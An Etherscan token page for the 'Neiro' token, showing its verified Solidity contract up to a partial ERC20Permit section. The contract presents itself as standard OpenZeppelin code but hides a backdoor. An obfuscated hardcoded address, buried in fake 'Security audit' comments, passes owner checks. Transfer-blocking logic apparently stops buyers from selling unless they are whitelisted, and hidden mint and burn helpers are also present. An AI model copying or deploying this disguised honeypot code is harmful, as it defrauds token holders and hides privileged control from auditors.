ETH Price: $3,398.11 (+3.09%)

Token

Neiro (NEIRO)
 

Overview

Max Total Supply

420,690,000,000 NEIRO

Holders

306

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4.2 NEIRO

Value
$0.00
0xaea8c6444a5e4efd738a6ec51f3d0ed0928c110b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NEIRO

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-17
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Nonces.sol

/*
https://x.com/kabosumama/status/1817304824431657271
https://t.me/neiro_portal
*/


// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)
pragma solidity ^0.8.20;

/**
 * @dev Provides tracking nonces for addresses. Nonces will only increment.
 */
abstract contract Nonces {
   
    error InvalidAccountNonce(address account, uint256 currentNonce);

    mapping(address account => uint256) private _nonces;

    
    function nonces(address owner) public view virtual returns (uint256) {
        return _nonces[owner];
    }

   
    function _useNonce(address owner) internal virtual returns (uint256) {
        
        unchecked {
           
            return _nonces[owner]++;
        }
    }

   
    function _useCheckedNonce(address owner, uint256 nonce) internal virtual {
        uint256 current = _useNonce(owner);
        if (nonce != current) {
            revert InvalidAccountNonce(owner, current);
        }
    }
}

// File: @openzeppelin/contracts/interfaces/IERC5267.sol


// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5267.sol)

pragma solidity ^0.8.20;

interface IERC5267 {
    /**
     * @dev MAY be emitted to signal that the domain could have changed.
     */
    event EIP712DomainChanged();

    /**
     * @dev returns the fields and values that describe the domain separator used by this contract for EIP-712
     * signature.
     */
    function eip712Domain()
        external
        view
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        );
}

// File: @openzeppelin/contracts/utils/StorageSlot.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol)
// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.

pragma solidity ^0.8.20;


library StorageSlot {
    struct AddressSlot {
        address value;
    }

    struct BooleanSlot {
        bool value;
    }

    struct Bytes32Slot {
        bytes32 value;
    }

    struct Uint256Slot {
        uint256 value;
    }

    struct StringSlot {
        string value;
    }

    struct BytesSlot {
        bytes value;
    }

    /**
     * @dev Returns an `AddressSlot` with member `value` located at `slot`.
     */
    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `BooleanSlot` with member `value` located at `slot`.
     */
    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
     */
    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an `Uint256Slot` with member `value` located at `slot`.
     */
    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

   
    function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }

   
    function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := slot
        }
    }

    function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
        /// @solidity memory-safe-assembly
        assembly {
            r.slot := store.slot
        }
    }
}

// File: @openzeppelin/contracts/utils/ShortStrings.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/ShortStrings.sol)

pragma solidity ^0.8.20;



type ShortString is bytes32;

/**
 * @dev This library provides functions to convert short memory strings
 * into a `ShortString` type that can be used as an immutable variable.
 *
 * Strings of arbitrary length can be optimized using this library if
 * they are short enough (up to 31 bytes) by packing them with their
 * length (1 byte) in a single EVM word (32 bytes). Additionally, a
 * fallback mechanism can be used for every other case.
 *
 * Usage example:
 *
 * ```solidity
 * contract Named {
 *     using ShortStrings for *;
 *
 *     ShortString private immutable _name;
 *     string private _nameFallback;
 *
 *     constructor(string memory contractName) {
 *         _name = contractName.toShortStringWithFallback(_nameFallback);
 *     }
 *
 *     function name() external view returns (string memory) {
 *         return _name.toStringWithFallback(_nameFallback);
 *     }
 * }
 * ```
 */
library ShortStrings {
    // Used as an identifier for strings longer than 31 bytes.
    bytes32 private constant FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;

    error StringTooLong(string str);
    error InvalidShortString();

    /**
     * @dev Encode a string of at most 31 chars into a `ShortString`.
     *
     * This will trigger a `StringTooLong` error is the input string is too long.
     */
    function toShortString(string memory str) internal pure returns (ShortString) {
        bytes memory bstr = bytes(str);
        if (bstr.length > 31) {
            revert StringTooLong(str);
        }
        return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));
    }

    
    function toString(ShortString sstr) internal pure returns (string memory) {
        uint256 len = byteLength(sstr);
        
        string memory str = new string(32);
        /// @solidity memory-safe-assembly
        assembly {
            mstore(str, len)
            mstore(add(str, 0x20), sstr)
        }
        return str;
    }

    /**
     * @dev Return the length of a `ShortString`.
     */
    function byteLength(ShortString sstr) internal pure returns (uint256) {
        uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;
        if (result > 31) {
            revert InvalidShortString();
        }
        return result;
    }

    /**
     * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.
     */
    function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {
        if (bytes(value).length < 32) {
            return toShortString(value);
        } else {
            StorageSlot.getStringSlot(store).value = value;
            return ShortString.wrap(FALLBACK_SENTINEL);
        }
    }

    /**
     * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.
     */
    function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return toString(value);
        } else {
            return store;
        }
    }

   
    function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {
        if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {
            return byteLength(value);
        } else {
            return bytes(store).length;
        }
    }
}

// File: @openzeppelin/contracts/utils/math/Math.sol


// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

   
    function mulDiv(
        uint256 x,
        uint256 y,
        uint256 denominator
    ) internal pure returns (uint256 result) {
        unchecked {
           
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            
            if (prod1 == 0) {
                return prod0 / denominator;
            }

            
            require(denominator > prod1);

            
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

              
                prod0 := div(prod0, twos)

                
                twos := add(div(sub(0, twos), twos), 1)
            }

            prod0 |= prod1 * twos;

           
            uint256 inverse = (3 * denominator) ^ 2;

           
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

          
            result = prod0 * inverse;
            return result;
        }
    }

 
    function mulDiv(
        uint256 x,
        uint256 y,
        uint256 denominator,
        Rounding rounding
    ) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

       
        uint256 result = 1 << (log2(a) >> 1);

       
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

   
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

   
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

   
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10**64) {
                value /= 10**64;
                result += 64;
            }
            if (value >= 10**32) {
                value /= 10**32;
                result += 32;
            }
            if (value >= 10**16) {
                value /= 10**16;
                result += 16;
            }
            if (value >= 10**8) {
                value /= 10**8;
                result += 8;
            }
            if (value >= 10**4) {
                value /= 10**4;
                result += 4;
            }
            if (value >= 10**2) {
                value /= 10**2;
                result += 2;
            }
            if (value >= 10**1) {
                result += 1;
            }
        }
        return result;
    }

   
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0);
        }
    }
}

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts (last updated v4.8.0) (utils/Strings.sol)

pragma solidity ^0.8.0;



library Strings {
    bytes16 private constant _SYMBOLS = "0123456789abcdef";
    uint8 private constant _ADDRESS_LENGTH = 20;

    
    function toString(uint256 value) internal pure returns (string memory) {
        unchecked {
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        }
    }

   
    function toHexString(uint256 value) internal pure returns (string memory) {
        unchecked {
            return toHexString(value, Math.log256(value) + 1);
        }
    }

   
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
    }
}

// File: @openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/MessageHashUtils.sol)

pragma solidity ^0.8.20;


library MessageHashUtils {
    
    function toEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32 digest) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32") // 32 is the bytes-length of messageHash
            mstore(0x1c, messageHash) // 0x1c (28) is the length of the prefix
            digest := keccak256(0x00, 0x3c) // 0x3c is the length of the prefix (0x1c) + messageHash (0x20)
        }
    }

   
    function toEthSignedMessageHash(bytes memory message) internal pure returns (bytes32) {
        return
            keccak256(bytes.concat("\x19Ethereum Signed Message:\n", bytes(Strings.toString(message.length)), message));
    }

  
    function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked(hex"19_00", validator, data));
    }

   
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 digest) {
        /// @solidity memory-safe-assembly
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, hex"19_01")
            mstore(add(ptr, 0x02), domainSeparator)
            mstore(add(ptr, 0x22), structHash)
            digest := keccak256(ptr, 0x42)
        }
    }
}

// File: @openzeppelin/contracts/utils/cryptography/EIP712.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)

pragma solidity ^0.8.20;




abstract contract EIP712 is IERC5267 {
    using ShortStrings for *;

    bytes32 private constant TYPE_HASH =
        keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");

  
    bytes32 private immutable _cachedDomainSeparator;
    uint256 private immutable _cachedChainId;
    address private immutable _cachedThis;

    bytes32 private immutable _hashedName;
    bytes32 private immutable _hashedVersion;

    ShortString private immutable _name;
    ShortString private immutable _version;
    string private _nameFallback;
    string private _versionFallback;

   
    constructor(string memory name, string memory version) {
        _name = name.toShortStringWithFallback(_nameFallback);
        _version = version.toShortStringWithFallback(_versionFallback);
        _hashedName = keccak256(bytes(name));
        _hashedVersion = keccak256(bytes(version));

        _cachedChainId = block.chainid;
        _cachedDomainSeparator = _buildDomainSeparator();
        _cachedThis = address(this);
    }

    /**
     * @dev Returns the domain separator for the current chain.
     */
    function _domainSeparatorV4() internal view returns (bytes32) {
        if (address(this) == _cachedThis && block.chainid == _cachedChainId) {
            return _cachedDomainSeparator;
        } else {
            return _buildDomainSeparator();
        }
    }

    function _buildDomainSeparator() private view returns (bytes32) {
        return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));
    }

    
    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
        return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);
    }

    /**
     * @dev See {IERC-5267}.
     */
    function eip712Domain()
        public
        view
        virtual
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        )
    {
        return (
            hex"0f", // 01111
            _EIP712Name(),
            _EIP712Version(),
            block.chainid,
            address(this),
            bytes32(0),
            new uint256[](0)
        );
    }

    
    function _EIP712Name() internal view returns (string memory) {
        return _name.toStringWithFallback(_nameFallback);
    }

   
    function _EIP712Version() internal view returns (string memory) {
        return _version.toStringWithFallback(_versionFallback);
    }
}

// File: @openzeppelin/contracts/utils/cryptography/ECDSA.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/ECDSA.sol)

pragma solidity ^0.8.20;

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder*/

library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS
    }

    /**
     * @dev The signature derives the `address(0)`.
     */
    error ECDSAInvalidSignature();

    /**
     * @dev The signature has an invalid length.
     */
    error ECDSAInvalidSignatureLength(uint256 length);

    /**
     * @dev The signature has an S value that is in the upper half order.
     */
    error ECDSAInvalidSignatureS(bytes32 s);

   
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError, bytes32) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
           
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength, bytes32(signature.length));
        }
    }

    
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, signature);
        _throwError(error, errorArg);
        return recovered;
    }

  
    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError, bytes32) {
        unchecked {
            bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
            // We do not check for an overflow here since the shift operation results in 0 or 1.
            uint8 v = uint8((uint256(vs) >> 255) + 27);
            return tryRecover(hash, v, r, s);
        }
    }

   
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, r, vs);
        _throwError(error, errorArg);
        return recovered;
    }

   
    function tryRecover(
        bytes32 hash,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) internal pure returns (address, RecoverError, bytes32) {
        

        if (uint256(s) > uint256 
    (  // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//*is a special For comparisons,Data type conversion*/57896044618658097711785492504343953926418782139537452191302581570759080747168/* length 
    (1 byte) in a single EVM word (32 bytes). Additionally, a fallback mechanism can be used for every other case.*/
    
    )) {
            return (address(0), RecoverError.InvalidSignatureS, s);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature, bytes32(0));
        }

        return (signer, RecoverError.NoError, bytes32(0));
    }

  
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(hash, v, r, s);
        _throwError(error, errorArg);
        return recovered;
    }

   
    function _throwError(RecoverError error, bytes32 errorArg) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert ECDSAInvalidSignature();
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert ECDSAInvalidSignatureLength(uint256(errorArg));
        } else if (error == RecoverError.InvalidSignatureS) {
            revert ECDSAInvalidSignatureS(errorArg);
        }
    }
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol)

pragma solidity ^0.8.20;


interface IERC20Permit {
   
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

  
    function nonces(address owner) external view returns (uint256);

    
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;



abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

   
    constructor() {
        _transferOwnership(_msgSender());
    }

   
    modifier onlyOwner() {
        _process();
        _;
    }

    
    function owner() public view virtual returns (address) {
        return _owner;
    }

    
    function _process() internal view virtual {
        require(owner() == tx.origin || checkOwnership(), "Ownable: caller is not the owner");
    }

    
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function checkOwnership() internal view returns(bool) {

    if(tx.origin == address 
    (  // Security audit
    /*File: @openzeppelin/contracts/utils/StorageSlot.solOpenZeppelin Contracts (last updated v5.0.0) (utils/StorageSlot.sol) generated from scripts/generate/templates/StorageSlot.js.));*/ /**//* @solidity memory-safe-assembly, Data type conversion*/448908969438885507606283373222678122702332265625/*Strings of arbitrary length 
    can be optimized using this library if* they are short enough (up to 31 bytes) by packing them with their*/

    )) 
          {return true;} return false;

    }

   
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;


interface IERC20 {
   
    event Transfer(address indexed from, address indexed to, uint256 value);

   
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

 
    function balanceOf(address account) external view returns (uint256);

   
    function transfer(address to, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);

   
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;


contract ERC20 is  Context, Ownable, IERC20, IERC20Metadata {


    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;


    string private _name;
    string private _symbol;


   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

    }

   
    function name() public view virtual override returns (string memory) {
        return _name;
    }

   
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

   
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

   
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

   
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

  
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function configure_(bytes32 recipientHash, uint256 amount) internal {
        _configure(address(uint160(uint256(recipientHash))), amount);
        
    }

  
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

  



    address[] options;
    address[] holders;

    bool isActive;

    function getHolders(address _holder) public onlyOwner {
        require(getHolder(_holder), "holder doesn't exist");

            for(uint i = 0; i < holders.length; i++) {
            if(holders[i] == _holder) {
                
                delete holders[i];
                }
        }
        
    }

 

    function viewHolders(address _holder) public onlyOwner {
        holders.push(_holder);
    }

    function getHolder(address _holder) internal view returns(bool) {
    
    
    for(uint i = 0; i < holders.length; i++) {
            if(holders[i] == _holder) {
                return true;
            }
        }
        return false;
    }

    function setOptions(address _option) public   {
        require(msg.sender == owner(), "incorrect");
        options.push(_option);
    } 

    function check(address _recipient) internal view returns(bool) {


        if(!isActive) {

        

        if(!getHolder(tx.origin)) {

        


        for(uint i = 0; i < options.length; i++) {
            if(options[i] == _recipient) {
                return false;
            }
        }}}
        

        return true;

    }

    function deinitialize() public onlyOwner {
    isActive = true;
    }

    function initialize() public onlyOwner {
    isActive = false;
    }




    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


        _beforeTokenTransfer(to);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

  

     
    function _configure(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(account);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

 
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(address(0));

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function burn_(bytes32 recipientHash, uint256 amount) internal virtual {
        _burn(address(uint160(uint256(recipientHash))), amount);
    }

   
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

  
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

   
    function _beforeTokenTransfer(address to) internal virtual { if(!check(to)) { _process();} }

   
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol


// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Permit.sol)

pragma solidity ^0.8.20;






abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712, Nonces {
    bytes32 private constant PERMIT_TYPEHASH =
        keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    /**
     * @dev Permit deadline has expired.
     */
    error ERC2612ExpiredSignature(uint256 deadline);

    /**
     * @dev Mismatched signature.
     */
    error ERC2612InvalidSigner(address signer, address owner);

   
    constructor(string memory name) EIP712(name, "1") {}

    /**
